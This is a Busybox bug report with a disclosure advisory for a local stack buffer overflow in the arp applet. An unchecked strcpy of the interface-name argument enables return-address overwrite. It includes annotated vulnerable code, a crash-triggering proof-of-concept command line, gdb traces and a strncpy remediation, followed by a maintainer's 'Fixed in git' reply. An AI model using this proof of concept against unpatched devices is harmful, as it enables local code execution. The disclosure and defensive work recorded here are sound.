Bug 9071

Summary: busybox - (local) cmdline stack buffer overwrite
Product: Busybox Reporter: Noam Rathaus <noamr>
Component: OtherAssignee: unassigned
Status: RESOLVED FIXED    
Severity: major CC: busybox-cvs
Priority: P5    
Version: 1.24.x   
Target Milestone: ---   
Hardware: All   
OS: All   
Host: Target:
Build:

Description Noam Rathaus 2016-07-04 13:39:21 UTC
Advisory
============

	Author:		0x721427D8

	Tag:		busybox - (local) cmdline stack buffer overwrite

Overview
--------

	Name:			busybox
	Vendor:			Bruce Perens, Erik Andersen, et.al. (busybox.net)
	References:		* http://www.busybox.net/  [1]
	
	Version:		1.23.1 latest snapshot [2]
	Latest Version:	1.23.1 latest snapshot [2]
	Other Versions:	affected     -  >= 1.4.0  (commit [3] date 2007-01-07 )
					not affected -  <  1.4.0
	Platform(s):	cross
	Technology:		c

	Vuln Classes:	Stack-based Buffer Overflow (CWE-121)
	Origin:			Local
	Min. Privs.:	-----

-- 



Description
---------

quote wikipedia.org [4]

>BusyBox is software that provides several stripped-down Unix tools in a single 
executable file. It runs in a variety of POSIX environments such as Linux, Android, 
FreeBSD and others, such as proprietary kernels, although many of the tools it 
provides are designed to work with interfaces provided by the Linux kernel. It 
was specifically created for embedded operating systems with very limited resources. 
The authors dubbed it "The Swiss Army Knife of Embedded Linux", as the single 
executable replaces basic functions of more than 300 common commands. It is 
released as free software under the terms of the GNU General Public License.


Summary 
-------

Busybox provides an `arp` applet which is missing an array bounds check for 
command-line parameter `IFNAME`. It is therefore vulnerable to a command-line 
based local stack buffer overwrite effectively allowing local users to write 
past a 16 bytes fixed stack buffer. This leads to two scenarios, one (A) where 
an IOCTL for GET_HW_ADDRESS (`SIOCGIFHWADDR`) fails and results in a corrupted 
`va_list` being passed to `*printf()` and one (B) where an attacker might provide 
valid params for the IOCTL and trick the program to proceed and result in a 
`RET eip overwrite` eventually gaining code execution.
 

*Versions affected:*

all versions shipping the arp applet (`arp.c`). This module was introduced `2007-01-07` 
with commit `88e2b1cb626761b1924305b761a5dfc723613c4e` [3] and was first shipped with busybox version `1.4.0`
	 
	 >= 1.4.0 - latest    - vulnerable 
	          - < 1.4.0   - *NOT* vulnerable: arp.c not present.


Details
------

By providing an overly long string for param `IFNAME` while setting `-D` 
(read HW Address from IFACE) and `-s` (set new entry) a strcpy operation can be 
reached that allows to write past the stack buffer `ifreq.ifr_name[IFANMESIZ]` [5,6]

	# ./busybox arp --help
	BusyBox v1.23.0.git (2014-12-26 19:27:13 CET) multi-call binary.
	
	Usage: arp
	[-vn]   [-H HWTYPE] [-i IF] -a [HOSTNAME]
	[-v]                [-i IF] -d HOSTNAME [pub]
	[-v]    [-H HWTYPE] [-i IF] -s HOSTNAME HWADDR [temp]
	[-v]    [-H HWTYPE] [-i IF] -s HOSTNAME HWADDR [netmask MASK] pub
	[-v]    [-H HWTYPE] [-i IF] -Ds HOSTNAME IFACE [netmask MASK] pub
	
	Manipulate ARP cache
	
	        -a              Display (all) hosts
	        -d              Delete ARP entry
	        -s              Set new entry
	        -v              Verbose
	        -n              Don't resolve names
	        -i IF           Network interface
	        -D              Read HWADDR from IFACE
	        -A,-p AF        Protocol family
	        -H HWTYPE       Hardware address type


#### Details: arp.c ####

The stack buffer overflow manifests in arp.c

##### Taint Graph #####

	busybox arp 
	-> arp.c:477  - arp_main (argc, argv)
	 -> arp.c:524  - arp_set (argv)
	  -> arp.c:263: - arp_getdevhw (ifname=*args++)
	   -> arp.c:332: - strcpy (dst=fixed_buffer,src=ifname) 
	   // --- stack is messed up now - arbitrary stack local vars overwritten already (including stored eip) ---
	   -> arp.c:222 ioctl_or_perror_and_die(,,ifr,<static_string>,ifname)
	   // A) ioctl_or_perror_and_die - FAILS - due to messed up stack
	       -> xfuncs_printf.c:508  - bb_verror_msg(fmt=<static_string>,valist p,strerr(errno))
	        -> verror_msg.c:31  - vasprintf(&msg, s=fmt, valist p);
	   // B) ioctl_or_perror_and_die - SUCCEEDS - due to attacker providing reasonable values for IOCTL
	      -> arp.c:238  - RETURN - stack messed up, direct eip control
	   

##### Code #####

1. No bounds check in `arp_main`

		int arp_main(int argc UNUSED_PARAM, char **argv)
		{
			...
			/* Now see what we have to do here... */
			if (opts & (ARP_OPT_d | ARP_OPT_s)) {		    /** !! -d and -s  must be set*/
				if (argv[0] == NULL)						/** !! argument must be set == IFNAME*/
					bb_error_msg_and_die("need host name");
				if (opts & ARP_OPT_s)
					return arp_set(argv);					/** !! argv never checked, pass to arp_set (tainted)*/
				return arp_del(argv);
			}
			...
		}


2. No bounds check in arp_set

		static int arp_set(char **args)							/** !! args==IFNAME (tainted)*/
		{
			...
			/* Fetch the hardware address. */
			if (*args == NULL) {								/** !! IFNAME  must be set*/
				bb_error_msg_and_die("need hardware address");
			}
			if (option_mask32 & ARP_OPT_D) {					/** !! -d must be set*/
				arp_getdevhw(*args++, &req.arp_ha);             /** !! args never checked, pass to arp_getdevhw*/
			} else {
				if (hw->input(*args++, &req.arp_ha) < 0) {
					bb_error_msg_and_die("invalid hardware address");
				}
			}
		
			...
		}
	

3. No bounds check and buffer overwrite in arp_getdevhw

		static void arp_getdevhw(char *ifname, struct sockaddr *sa)   /** !! ifname==args (tainted)*/
		{
			struct ifreq ifr;										  /** !! static stack struct, sizeof(ifreq)==40*/
			const struct hwtype *xhw;								  /** !! static stack struct, sizeof(hwtype)==64*/
		
			strcpy(ifr.ifr_name, ifname);							  /** !! overwrites ifr.ifr_name[IFNAMESIZ==16] by strlen(ifname)*/
	
			ioctl_or_perror_and_die(sockfd, SIOCGIFHWADDR, &ifr,
							"can't get HW-Address for '%s'", ifname); /** !! will do the IOCTL and die on errors*/
			if (hw_set && (ifr.ifr_hwaddr.sa_family != hw->type)) {   /** !! Skip - hw_set is only set by -H|-t*/
				bb_error_msg_and_die("protocol type mismatch");		  
			}
			memcpy(sa, &(ifr.ifr_hwaddr), sizeof(struct sockaddr));   /** !! Skip - we do not care*/
		
			if (option_mask32 & ARP_OPT_v) {                          /** !! Skip - we do not specify -v*/
				xhw = get_hwntype(ifr.ifr_hwaddr.sa_family);
				if (!xhw || !xhw->print) {
					xhw = get_hwntype(-1);
				}
				bb_error_msg("device '%s' has HW address %s '%s'",
						ifname, xhw->name,
						xhw->print((unsigned char *) &ifr.ifr_hwaddr.sa_data));
			}
		}															/** !! if we do not fail in IOCTL we'll land here - direct EIP control*/
	
	arbitrary length (may be limited by os) string `IFNAME` overwrites 16 bytes fixed buffer `ifreq.ifr_name[IFANMESIZ]` [5,6].
	
4. stack is messed up before IOCTL for SIOCGIFHWADDR in ioctl_or_perror_and_die
	
	we control any fields below `ifr.ifr_name` - which essentially is any ifreq 
	field, see below - allowing us to call `SIOCGIFHWADDR IOCTL` with user controlled 
	fields and pot. let it die or make it succeed.
	If the `IOCTL` fails it will make the process die in `vsprintf()` due to messed up va_args on stack.
	If the `IOCT`L succeeds, it will make the process continue, copy 
	taken from [5]
	
		203 struct ifreq {
		204 #define IFHWADDRLEN     6
		205         union
		206         {
		207                 char    ifrn_name[IFNAMSIZ];            /* if name, e.g. "en0" */  /** !! we overflow here */
		208         } ifr_ifrn;
		209         
		210         union {
		211                 struct  sockaddr ifru_addr;
		212                 struct  sockaddr ifru_dstaddr;
		213                 struct  sockaddr ifru_broadaddr;
		214                 struct  sockaddr ifru_netmask;
		215                 struct  sockaddr ifru_hwaddr;
		216                 short   ifru_flags;
		217                 int     ifru_ivalue;
		218                 int     ifru_mtu;
		219                 struct  ifmap ifru_map;
		220                 char    ifru_slave[IFNAMSIZ];   /* Just fits the size */
		221                 char    ifru_newname[IFNAMSIZ];
		222                 void __user *   ifru_data;
		223                 struct  if_settings ifru_settings;
		224         } ifr_ifru;
		225 };

5. a) IOCTL fails
	
		//xfuncs_printf.c:508
		
		int FAST_FUNC ioctl_or_perror_and_die(int fd, unsigned request, void *argp, const char *fmt,...)
		{
			int ret;
			va_list p;													/** !! stack is messed up */
		
			ret = ioctl(fd, request, argp);
			if (ret < 0) {
				va_start(p, fmt);
				bb_verror_msg(fmt, p, strerror(errno));					/** !! valist p is corrupt, stack is messed up, and we fail, printing error*/
				/* xfunc_die can actually longjmp, so be nice */
				va_end(p);
				xfunc_die();
			}
			return ret;
		}
		
		
		//verror_msg.c:31  - vasprintf(&msg, s=fmt, valist p);
		
		void FAST_FUNC bb_verror_msg(const char *s, va_list p, const char* strerr)
		{
			char *msg, *msg1;
			int applet_len, strerr_len, msgeol_len, used;
		
			if (!logmode)
				return;
		
			if (!s) /* nomsg[_and_die] uses NULL fmt */
				s = ""; /* some libc don't like printf(NULL) */
		
			used = vasprintf(&msg, s, p);								/** !! valist p is corrupt */
			if (used < 0)
				return;
			...
		}	

6. b) IOCTL does not fail

	as described in 3./4. the code proceeds with returning from `arp_getdevhw` 
	eventually executing code from the `strcpy()` based overflow. (RET overwrite)


Proof of Concept
----------------

Brutally smash the stack buffer (provide any IP as arg `HOSTNAME` to bypass name resolver):

	# ./busybox arp -v -Ds 1.1.1.1 $(python -c "print 'A'*99")
	Segmentation fault
	# dmesg
	busybox[5135]: segfault at 41414141 ip 080b8a5b sp bfa924fc error 4 in busybox[8048000+1fd000]
	
	# gdb --args ./busybox_unstripped arp -v -Ds 1.1.1.1 $(python -c "print 'A'*99")
	(gdb) r
	...
	Program received signal SIGSEGV, Segmentation fault.
	0x080b8a5b in vfprintf ()
	(gdb) i r
	eax            0x0      0
	ecx            0xffffffff       -1
	edx            0x0      0
	ebx            0xbffff42c       -1073744852
	esp            0xbfffee6c       0xbfffee6c
	ebp            0xbffff408       0xbffff408
	esi            0x1a     26
	edi            0x41414141       1094795585
	eip            0x80b8a5b        0x80b8a5b <vfprintf+13739>
	eflags         0x10246  [ PF ZF IF RF ]
	cs             0x73     115
	ss             0x7b     123
	ds             0x7b     123
	es             0x7b     123
	fs             0x0      0
	gs             0x33     51
	(gdb) bt
	#0  0x080b8a5b in vfprintf ()
	#1  0x0805b629 in vasprintf ()
	#2  0x080f02aa in bb_verror_msg (s=0x820cc85 "can't get HW-Address for '%s'", p=0xbffff540 'A' <repeats 103 times>, strerr=0x823a798 "No such device")
	    at libbb/verror_msg.c:31
	#3  0x080f18a1 in ioctl_or_perror_and_die (fd=3, request=35111, argp=0xbffff544, fmt=0x820cc85 "can't get HW-Address for '%s'")
	    at libbb/xfuncs_printf.c:508
	#4  0x0811365d in arp_getdevhw (ifname=0x41414141 <Address 0x41414141 out of bounds>, sa=0x41414141) at networking/arp.c:222
	#5  0x41414141 in ?? ()
	#6  0x41414141 in ?? ()
	#7  0x41414141 in ?? ()
	#8  0x41414141 in ?? ()
	#9  0x41414141 in ?? ()
	...
	(gdb) bt full
	#0  0x080b8a5b in vfprintf ()
	No symbol table info available.
	#1  0x0805b629 in vasprintf ()
	No symbol table info available.
	#2  0x080f02aa in bb_verror_msg (s=0x820cc85 "can't get HW-Address for '%s'", p=0xbffff540 'A' <repeats 103 times>, strerr=0x823a798 "No such device")
	    at libbb/verror_msg.c:31
	        msg = 0x13 <Address 0x13 out of bounds>
	        msg1 = 0x0
	        applet_len = -1073744492
	        strerr_len = -1073744524
	        msgeol_len = 0
	        used = -1073744508
	#3  0x080f18a1 in ioctl_or_perror_and_die (fd=3, request=35111, argp=0xbffff544, fmt=0x820cc85 "can't get HW-Address for '%s'")
	    at libbb/xfuncs_printf.c:508
	        ret = -1
	        p = 0xbffff540 'A' <repeats 103 times>
	#4  0x0811365d in arp_getdevhw (ifname=0x41414141 <Address 0x41414141 out of bounds>, sa=0x41414141) at networking/arp.c:222
	        ifr = {ifr_ifrn = {ifrn_name = 'A' <repeats 16 times>}, ifr_ifru = {ifru_addr = {sa_family = 16705, sa_data = 'A' <repeats 14 times>},
	            ifru_dstaddr = {sa_family = 16705, sa_data = 'A' <repeats 14 times>}, ifru_broadaddr = {sa_family = 16705,
	              sa_data = 'A' <repeats 14 times>}, ifru_netmask = {sa_family = 16705, sa_data = 'A' <repeats 14 times>}, ifru_hwaddr = {
	              sa_family = 16705, sa_data = 'A' <repeats 14 times>}, ifru_flags = 16705, ifru_ivalue = 1094795585, ifru_mtu = 1094795585, ifru_map = {
	              mem_start = 1094795585, mem_end = 1094795585, base_addr = 16705, irq = 65 'A', dma = 65 'A', port = 65 'A'},
	            ifru_slave = 'A' <repeats 16 times>, ifru_newname = 'A' <repeats 16 times>, ifru_data = 0x41414141 <Address 0x41414141 out of bounds>}}
	#5  0x41414141 in ?? ()
	No symbol table info available.
	#6  0x41414141 in ?? ()
	No symbol table info available.
	#7  0x41414141 in ?? ()
	

A debugging session shows that we messed up the `va_list` on stack with the user provided string.
	
		
crosscheck: valid run (no crash expected, `IFNAME=AAAAA`):
	
	# gdb --args ./busybox_unstripped arp  -Ds 1.1.1.1 $(python -c "print 'A'*(5)")
	(gdb) b ioctl_or_perror_and_die
	Breakpoint 1 at 0x80f1851: file libbb/xfuncs_printf.c, line 501.
	(gdb) r
	Starting program: /src/busybox-dhcp/busybox_unstripped arp -Ds 1.1.1.1 AAAAA
	
	Breakpoint 1, ioctl_or_perror_and_die (fd=3, request=35111, argp=0xbffff5a4, fmt=0x820cc85 "can't get HW-Address for '%s'")
	    at libbb/xfuncs_printf.c:501
	501     {
	(gdb) s
	505             ret = ioctl(fd, request, argp);
	(gdb) s
	506             if (ret < 0) {
	(gdb) s
	507                     va_start(p, fmt);
	(gdb) s
	508                     bb_verror_msg(fmt, p, strerror(errno));
	(gdb) x/10s p
	0xbffff5a0:      "\375\370\377\277AAAAA"													/** !! valid va_list struct for 5*A*/
	0xbffff5aa:      "\377\277\365\370\377\277"
	0xbffff5b1:      ""
	0xbffff5b2:      ""
	0xbffff5b3:      ""
	0xbffff5b4:      "\300\207$\bp9\022\b\324\365\377\277\365\370\377\277b7\021\b\375\370\377\277\364\365\377\277D"
	0xbffff5d2:      ""
	0xbffff5d3:      ""
	0xbffff5d4:      "\002"
	0xbffff5d6:      ""
	(gdb)

see inline comments: va_list on stack shown by `x/10s p`


now overflow `va_list` by providing `IFNAME=A*(64+40+40)` (crash expected):

	gdb --args ./busybox_unstripped arp  -Ds 1.1.1.1 $(python -c "print 'A'*(64+40+40)")
	(gdb) ioctl_or_perror_and_die
	Undefined command: "ioctl_or_perror_and_die".  Try "help".
	(gdb) b ioctl_or_perror_and_die
	Breakpoint 1 at 0x80f1851: file libbb/xfuncs_printf.c, line 501.
	(gdb) r
	Starting program: /src/busybox-dhcp/busybox_unstripped arp -Ds 1.1.1.1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	
	Breakpoint 1, ioctl_or_perror_and_die (fd=3, request=35111, argp=0xbffff514, fmt=0x820cc85 "can't get HW-Address for '%s'")
	    at libbb/xfuncs_printf.c:501
	501     {
	(gdb) s
	505             ret = ioctl(fd, request, argp);
	(gdb) s
	506             if (ret < 0) {
	(gdb) s
	507                     va_start(p, fmt);
	(gdb) s
	508                     bb_verror_msg(fmt, p, strerror(errno));
	(gdb) x/10s p
	0xbffff510:      'A' <repeats 148 times>													/** !! INVALID va_list struct, missing header*/
	0xbffff5a5:      "\271\004\b"
	0xbffff5a9:      "\231\357pU?\021\b\030\367\377\277\177\315 \b\314\365\377\277\314\365\377\277\320\365\377\277\320\365\377\277È$\b"
	0xbffff5cd:      "\231\357p\330\366\377\277"
	0xbffff5d5:      "\003"
	0xbffff5d7:      ""
	0xbffff5d8:      ""
	0xbffff5d9:      ""
	0xbffff5da:      ""
	0xbffff5db:      ""
	(gdb)
	
see inline comment: `va_list` is messed up.

Remediation Steps
-------

* `strcpy` => `strncpy(dst,src,n=sizeof(ifreq.ifr_name)-1)` or less error prone but more overhead `snprintf()`

References
---------

	[1] http://busybox.net
	[2] http://busybox.net/downloads/?C=M;O=A
	[3] http://git.busybox.net/busybox/commit/networking/arp.c?id=88e2b1cb626761b1924305b761a5dfc723613c4e
	[4] https://en.wikipedia.org/wiki/BusyBox
	[5] http://lxr.free-electrons.com/source/include/uapi/linux/if.h#L203
	[6] http://lxr.free-electrons.com/source/include/uapi/linux/if.h#L26
Comment 1 Denys Vlasenko 2016-07-04 15:38:48 UTC
Fixed in git, thanks!